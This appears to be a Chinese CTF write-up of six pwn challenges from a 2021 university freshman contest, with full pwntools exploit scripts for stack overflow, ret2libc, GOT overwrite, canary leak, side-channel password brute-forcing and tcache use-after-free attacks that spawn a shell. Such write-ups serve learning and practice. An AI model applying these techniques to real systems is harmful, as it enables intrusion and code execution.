前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了。太菜了呜呜呜。极客大挑战因为打太久了,题目都快忘记了,就不写wp了。

ret2text

简单的栈溢出,pwn里的hello world。

from pwn import *r = process("/mnt/hgfs/ubuntu/stackoverflow")
elf = ELF("/mnt/hgfs/ubuntu/stackoverflow")
payload = b'a'*0x38+p64(elf.symbols["backdoor"])
r.recvuntil(b"Do you know stack overflow and ret2text?")
r.sendline(payload)
io.interactive()

ret2shellcode

最基础的shellcode,可以自己写,也可以直接用pwntools里的shellcraft模块

from pwn import *
context(arch="amd64",os="linux")
r = process("/mnt/hgfs/ubuntu/ret2shellcode")
r.recvuntil(b"Your input will be saved at ")
shellcode_addr = int(r.recvuntil(b'\n'),16)
shellcode = asm(shellcraft.sh())
r.recvuntil("Input: ")
payload = shellcode.ljust(0x88,b'a')+p64(shellcode_addr)
r.sendline(payload)
r.interactive()

quiz

在线测试题,主要考察整数溢出和汇编的问题。

ret2libc

链接:https://pan.baidu.com/s/1T94IbzZpAWCherOfZl5xQw
提取码:F1re

checksec一下,除了canary保护外全开。

思路

0x1地址泄露

choice选择1后可以泄露一些地址,其中泄露了一个函数的地址,和puts函数的地址,可以通过这两个得到elf文件基址和libc基址。

0x2栈溢出

然后就是choice选择2后一个明显的栈溢出漏洞。

不过这道题有点搞的是,我用system+/bin/sh的方式不能getshell,最后用one_gadget成功getshell。最后注意用一个ret指令平衡栈帧。

exp

from pwn import *
libc = ELF('/mnt/hgfs/ubuntu/ret2libc/libc-2.23.so')
# r = process('/mnt/hgfs/ubuntu/ret2libc/ret2libc')r.recvuntil("Your choice: ")
r.sendline(b'1')
r.recvuntil("You need to figure it out:")
r.recvuntil("0xdeadbeef ")
elf_addr = int(r.recv(14),16)
elf_base = elf_addr-0x13d3
r.recv(1)
puts_addr=int(r.recv(14),16)
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols["puts"]
system_addr = libc_base+libc.symbols["system"]
bin_sh = 0x18ce57
one_gadget = libc_base+0xf03a4
pop_rdi = 0x1613+elf_base
ret = elf_base+0x101a
print("elf_base:"+hex(elf_base))
print("libc_base: "+hex(libc_base))
r.recvuntil("Your choice: ")
# payload = b'a'*0x18+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
payload =b'a'*0x18+p64(ret)+p64(one_gadget)
r.sendline(b'2')
r.recvuntil("input: ")
r.sendline(payload)
r.interactive()

got_it

链接:https://pan.baidu.com/s/1V9_FA8XIHravKt9ZtXhQIw
提取码:F1re

checksec一下,除了RELEO保护,其他保护全开。

函数定义了一个数组,数组储存了几个学pwn的经典网站,函数有三个功能:

  • show:展示数组内某一个网站的网址。

  • edit:修改某一个网址的内容。但是可以看到输入长度0x12大于其数组元素长度0x8,存在溢出。

  • exit:退出程序。

思路

0x1溢出

存在0x8的溢出长度。

0x2控制函数指针

其中0x36E0后储存的是数组变量的地址。

而0x36E0前储存的是数组变量。

结合之前我们发现的0x8的溢出长度,可以对0x36D0处最后一个网址使用edit函数,可覆写到储存第一个数组元素的指针。

0x3 pie绕过,改写GOT表

由于程序未开RELEO保护,我们可以考虑改写函数GOT表,又由于程序开了pie保护,我们打算用partial write绕过。

发现atoi_addr与第一个函数指针之间只有最后一个字节不一样。因此我们只用覆写指针第一个字节为’\x40’。利用show函数泄露函数真实地址,从而计算出libc基址,然后再edit数组第一个元素,即可把atoi_got改写为one_gadget的值。

exp

from pwn import *
# r = process('/mnt/hgfs/ubuntu/got_it/got_it')
elf = ELF('/mnt/hgfs/ubuntu/got_it/got_it')
libc = ELF('/mnt/hgfs/ubuntu/got_it/libc-2.23.so')def show(id):r.recvuntil("> ")r.sendline(str(1))r.recvuntil("which? ")r.sendline(str(id))def edit(id,content):r.recvuntil("> ")r.sendline(str(2))r.recvuntil("which? ")r.sendline(str(id))r.recvuntil("your new website: ")r.send(content)
payload = b'a'*0x10+b'\x40'
edit(4,payload)
show(0)
r.recvuntil("website: ")
atoi_addr = u64(r.recv(6).ljust(8,b'\0'))
print("atoi_got: "+hex(atoi_addr))
libc_base = atoi_addr - libc.symbols["atoi"]
print("libc_base: "+hex(libc_base))
one_gadget = 0xf1247+libc_base
payload2= p64(one_gadget)
edit(0,payload2)
r.interactive()

safe_copy

链接:https://pan.baidu.com/s/1HFxgh0mnrWJt76LBc9t9pw
提取码:F1re

真丶题如其意。checksec,保护全开。

IDA反汇编出来代码有点乱,花了半个小时才大概理解程序流程。

函数主要流程是

  • 读取0x100大小的内容到buf数组中,读取offset,Max_copylen,boundary三个属性。

  • 初始化0x10大小的s数组,全用“#”填充,同时将s数组相邻的0x90大小的栈空间内也全用“#”填充。

  • 读取copy_len,开始从buf数组中向s数组中copy。

  • offset确定了从s数组的第几个下标开始copy,max_copylen确定了最大copy长度,boundary定义的则是最多能够copy到的s数组的最大下标。

以上的程序流程可以不断重复,直到输入到buf数组中的值为"exit \n"。

理解程序流程后,我们可以基本肯定漏洞只能从几个参数:offset,Max_copylen,boundary,copy_len几个参数上动手脚。因此我着重查看处理那几个参数的函数,并且检查参数本身逻辑并没问题,那么漏洞基本上只能出在整数溢出上。

思路

0x1整数溢出

显然我们是想控制offset的值,达到copy到栈溢出的位置。检查到

if ( offset < 0 || boundary > 0x100 || max_copylen <= 0 || offset + max_copylen >= (int)boundary )

发现offset与max_copylen均为int型变量,且max_copylen对程序copy流程无太大影响,因此我们可以令max_copylen为接近INT_MAX的值,利用整数溢出使得满足offset + max_copylen <= (int)boundary,并且也可以控制offset的值。

0x2泄露canary与libc基址

可以观察到在s数组下方0x8地址处存在canary值与libc_start_main_240的地址,

由于canary第一位是’\0’,覆盖到canary第一位后,可以通过程序流程中的put泄露出canary,**使用rjust补足canary。**同时用相同方法泄露libc_start_main_240的地址,计算出libc基址,最后栈溢出getshell。

最后在退出的时候倒是卡了半天…需要在buf数组开头写入"exit\n",且加上"\0"进行隔断

exp

from pwn import *
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/safe_copy/safe_copy')
elf = ELF('/mnt/hgfs/ubuntu/safe_copy/safe_copy')
libc = ELF('/mnt/hgfs/ubuntu/safe_copy/libc-2.23.so')def copy(padding,start_offset,length,boundary,copylength):r.recvuntil("Your input: ")r.sendline(padding)r.recvuntil("Start offset: ")r.sendline(str(start_offset))r.recvuntil("Max copy len: ")r.sendline(str(length))r.recvuntil("Copy boundary: ")r.sendline(str(boundary))r.recvuntil("Copy len:")r.sendline(str(copylength))copy(b'aaaaaaaaa' ,0x100,0x7fffffff,11,9)
r.recvuntil("Result:")
r.recvuntil(b"aaaaaaaaa")
canary = u64(r.recv(7).rjust(8,b'\0'))
print("canary : "+hex(canary))
copy(b'aaaaaaaa'*7,0x100,0x7fffffff,100,56)
r.recvuntil(b"aaaaaaaa"*7)
libc_start_main_240 = u64(r.recv(6).ljust(8,b'\0'))
print("libc_start_main_240: "+hex(libc_start_main_240))
libc_base = libc_start_main_240-libc.symbols["__libc_start_main"]-240
print("libc_base: "+hex(libc_base))
one_gadget = libc_base+0x45226
payload = p32(1953069157)+b'\n'+b'\0'*3+p64(canary)+b'a'*0x28+p64(one_gadget)
copy(payload,0x100,0x7fffffff,0x100,64)
r.interactive()

login

链接:https://pan.baidu.com/s/1hCcdvfqdlc836UaT7CBGHQ
提取码:F1re

程序流程分析

一道题看一下午,仍然一点思路都没有。

程序流程:

  • 自带一个root用户,id为特殊的0,密码通过linux中的urandom自动生成,每位密码的生成流程为:①从/dev/urandom中读取四位数字作为随机数种子。②调用srand函数。③生成一位密码。④直到生成0x30位密码

  • add user:添加用户,属性有①密码②id③密码长度。(id不能为0)

  • login:用户登入,如果登入的用户为root用户,拥有一个UAF漏洞。

  • delete user:删除用户。

思路

root用户

刚开始我认为root用户的密码在程序启动时就生成,并且每一位密码都有一个随机的种子,所以是无法爆破的。因此只能去将普通用户的id改为0。于是我找了半天整数溢出的漏洞,想要把普通用户的id改为0,最终无疾而终。

直到放出hint:侧信道攻击。

网上百度了一下,侧信道攻击基本=爆破,不过是逐位爆破检查是否成功。

因此我仔细去检查了check(密码检测)函数。

发现密码如果错误,会以%s打印出错误密码,%s存在泄露后面数据的可能,因此我去查看了栈空间。

如图var_30的值对应check函数中的v7(也就是正确密码的个数)。

那就简单了,逐位爆破密码。

先定义基本函数体:

def add(index,id,password):r.sendline(b'1')r.recvuntil(b"Input user index: ")r.sendline(str(index))r.recvuntil(b"Input id: ")r.sendline(str(id))r.recvuntil(b"Input password len: ")r.sendline(str(len(password)))r.recvuntil(b"Input password: ")r.sendline(password)r.recvuntil(b"Add user done!")def login(id,password):r.sendline(b'2')r.recvuntil(b"Input user index: ")r.sendline(str(id))r.recvuntil(b"Input password: ")r.sendline(password)def login1(id,password):r.sendline(b'2')r.recvuntil(b"Input user index: ")r.sendline(str(id))r.recvuntil(b"Input password: ")r.send(password)def delete(id):r.sendline(b'3')r.recvuntil(b"Input user index: ")r.sendline(str(id))

爆破密码:

def burpsuit():try_pwd = ""for i in range(48):for j in range(48, 48 + 79):if i != 47:login(0,try_pwd+ chr(j) + 'a' * (152-(i + 1)))r.recvuntil(b'a' * ((152 - (i + 1))))number = u8(r.recv(1))if number == i + 1:try_pwd += chr(j)breakelse:login(0,try_pwd + chr(j))result = r.recv(1)if (result != b"W"):try_pwd += chr(j)breakprint("admin_passwd = " + try_pwd)print("ok")

泄露libc基址

进入root用户后,我们可以有一个UAF漏洞。而该题的libc版本较高,存在Tcache机制。因此我们先add 6 个user,并将其全部free,将6个Tcache填满,然后利用root用户的UAF漏洞free一个堆块A,这样堆块A将置入unsortedbin中,而login功能其实变相相当于show功能,因此我们可以利用UAF漏洞提取unsortedbin中的fd指针,而fd指针指向的地址与main_arena有固定偏移:

故可以泄露出libc基址。

for i in range(1,8):add(i,i,b'N1rvana')
for i in range(1,8):delete(i)
burpsuit()
r.recvuntil("Input victim index: ")
r.sendline(b'0')
r.recvuntil("Haha. Let's see what will happen.")
libc_base=leak_libc_base()

需要注意的是,用login函数爆破libc基址时需要注意一些特殊字节:

①"\0"字节,若是爆破字节中出现"\0"字节,则由于%s的特性,输出到"\0"就会终止,不能回显正确密码个数。

由于:

    if ( *(_BYTE *)buf == 10 ){*(_BYTE *)buf = 0;return i;}

②"\n"字节,输入"\n"字节密码输入直接终止。

因此我的leak_libc_base函数:

def leak_libc_base():try_base=""for i in range(6):for j in range(1,0xff):if j!=10:payload = try_base+chr(j)+ 'a' * (152-i-1)login(0,payload)r.recvuntil(b'a' * (152 - i-1))# r.recvuntil("\n")number = u8(r.recv(1))print(number)if number == i + 1:try_base = try_base+chr(j)breaktry_base =u64(try_base.ljust(8,'\0'))libc_base=try_base-0x3ebca0print(hex(libc_base))return libc_base

Tcache UAF attack

然后我就不会做了…呜呜呜。

看了wp之后知道是Tcache UAF attack。然后补足了拼图的最后一小块。

直接打free_hook。

exp

from pwn import *
from ctypes import *# context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/login/login')
elf = ELF('/mnt/hgfs/ubuntu/login/login')
libc = ELF('/mnt/hgfs/ubuntu/login/libc_login.so')def add(index,id,password):r.sendline(b'1')r.recvuntil(b"Input user index: ")r.sendline(str(index))r.recvuntil(b"Input id: ")r.sendline(str(id))r.recvuntil(b"Input password len: ")r.sendline(str(len(password)))r.recvuntil(b"Input password: ")r.sendline(password)r.recvuntil(b"Add user done!")def login(id,password):r.sendline(b'2')r.recvuntil(b"Input user index: ")r.sendline(str(id))r.recvuntil(b"Input password: ")r.sendline(password)def login1(id,password):r.sendline(b'2')r.recvuntil(b"Input user index: ")r.sendline(str(id))r.recvuntil(b"Input password: ")r.send(password)def delete(id):r.sendline(b'3')r.recvuntil(b"Input user index: ")r.sendline(str(id))def burpsuit():try_pwd = ""for i in range(48):for j in range(48, 48 + 79):if i != 47:login(0,try_pwd+ chr(j) + 'a' * (152-(i + 1)))r.recvuntil(b'a' * ((152 - (i + 1))))number = u8(r.recv(1))if number == i + 1:try_pwd += chr(j)breakelse:login(0,try_pwd + chr(j))result = r.recv(1)if (result != b"W"):try_pwd += chr(j)breakprint("admin_passwd = " + try_pwd)print("ok")def leak_libc_base():try_base=""for i in range(6):for j in range(1,0xff):if j!=10:payload = try_base+chr(j)+ 'a' * (152-i-1)login(0,payload)r.recvuntil(b'a' * (152 - i-1))# r.recvuntil("\n")number = u8(r.recv(1))print(number)if number == i + 1:try_base = try_base+chr(j)breaktry_base =u64(try_base.ljust(8,'\0'))libc_base=try_base-0x3ebca0print(hex(libc_base))return libc_base
for i in range(1,8):add(i,i,b'N1rvana')
for i in range(1,8):delete(i)
burpsuit()
r.recvuntil("Input victim index: ")
r.sendline(b'0')
r.recvuntil("Haha. Let's see what will happen.")
libc_base=leak_libc_base()
for i in range(1,8):add(i,i,b'N1rvana')
add(8,8,b'invincible')
delete(8)
delete(0)
add(9,9,p64(libc_base+libc.symbols["__free_hook"]))
add(10,10,b'/bin/sh')
add(11,11,p64(libc_base+libc.symbols["system"]))
delete(10)
r.interactive()

SCU新生赛2021 pwn wp相关推荐

  1. SWPU新生赛2021 Crypto部分WriteUp

    第一波放题 crypto1 直接谷歌搜e1e2 = 3087 n = p*q,找到striving的博客,不愧是密码神 由于striving的旧博客域名已过期,因此就不放密码神的博客了 c1= 463 ...

  2. CTF笔记 [SWPUCTF 2021 新生赛]pop

    文章目录 一些常见魔术方法 [SWPUCTF 2021 新生赛]pop 总结 这一类题目比较考验对一段代码的逻辑方面的理解,通过利用魔数方法进行互相调用,形成一条链子,利用这条链子将对象联系起来去拿f ...

  3. [SWPUCTF 2021 新生赛]PseudoProtocols

    [SWPUCTF 2021 新生赛]PseudoProtocols 一.题目 二.WP 1.打开题目,发现提示我们是否能找到hint.php,并且发现URL有参数wllm.所以我们尝试利用PHP伪协议 ...

  4. [SWPUCTF 2021 新生赛]no_wakeup

    [SWPUCTF 2021 新生赛]no_wakeup 考点 反序列化 一.题目 打开题目发现如下代码 <?phpheader("Content-type:text/html;char ...

  5. [SWPUCTF 2021 新生赛]第一波放题(nssctf刷题)

    [SWPUCTF 2021 新生赛]jicao json_decode介绍: json_decode (PHP 5 >= 5.2.0, PECL json >= 1.2.0) json_d ...

  6. [SWPUCTF 2021 新生赛]easyrce

    打开题以后发现这个界面,需要构造url的值,然后就想起来看一下目录 ?url=system("ls /");注意:ls后面要有一个空格,然后一个分号结束,这不就出来了flag 1: ...

  7. [SWPUCTF 2021 新生赛]babyrce

    打开界面看见if选项admin=1果断想到用burp抓包然后cookie给admin=1,获取下一步指令  然后url访问, <?php error_reporting(0); highligh ...

  8. [SWPUCTF 2021 新生赛]

    [SWPUCTF 2021 新生赛]jicao 进入环境: <?php highlight_file('index.php'); include("flag.php"); $ ...

  9. [SWPUCTF 2021 新生赛] 第三波放题

    [SWPUCTF 2021 新生赛]easyupload3.0 首先弄个报错出来,随便弄一下,比如弄出一个not found页面,发现是Apache/2.4.7 (Ubuntu) ,既然是 Apach ...

最新文章

  1. FastQC结果解读
  2. 【java开发系列】—— struts2简单入门示例
  3. mysql generator 命令_MyBatis Generator速查手册
  4. Go 语言编程 — gorm 数据库版本迁移
  5. sweet+alert+ajax,Ajax相关
  6. 用Java线程获取优异性能(II)——使用同步连载线程访问关键代码部份
  7. C++中的new和delete操作符重载
  8. python deepcopy函数_用Python解数独[6]:递归获得最终答案
  9. 四十二、ETL工具Kettle的转换步骤
  10. 跟我一起学.NetCore之选项(Options)核心类型简介
  11. PHP5.5中新增的参数跳跃和生成器功能介绍
  12. [jQuery基础] jQuery对象 -- 选择器
  13. 编译easymule 1.1.5
  14. 张小龙讲座_微信背后的产品观(20120724)
  15. 大数据-MaxWell
  16. AI时代下,如何打造一个具有情感化属性的智能相册?
  17. 迁移学习具体场景与方法
  18. TarsosDSP 一个Java的音频处理库
  19. DuiLib : 做一个没有任务栏图标的Dialog
  20. 国际数据保护日,数据安全谁来守护?

热门文章

  1. 百万并发下的Nginx性能优化之道,值得看!!!
  2. php的密钥是什么意思,私钥是什么意思
  3. 苹果吃鸡显示竞寨服务器超时,吃鸡每次进入显示连接超时 | 手游网游页游攻略大全...
  4. 陈玉福算法设计与分析期末考试题-简答部分
  5. 安卓与服务器采用josn传递数据
  6. spring cloud ribbon源码解析(一)
  7. 广州地区《程序员》杂志购买渠道告知
  8. .DS_Stroe文件造成git合并失败
  9. html frameset边框,frameset框架集(示例代码)
  10. 计算机毕业设计javaweb的新闻信息网站(源码+系统+mysql数据库+Lw文档)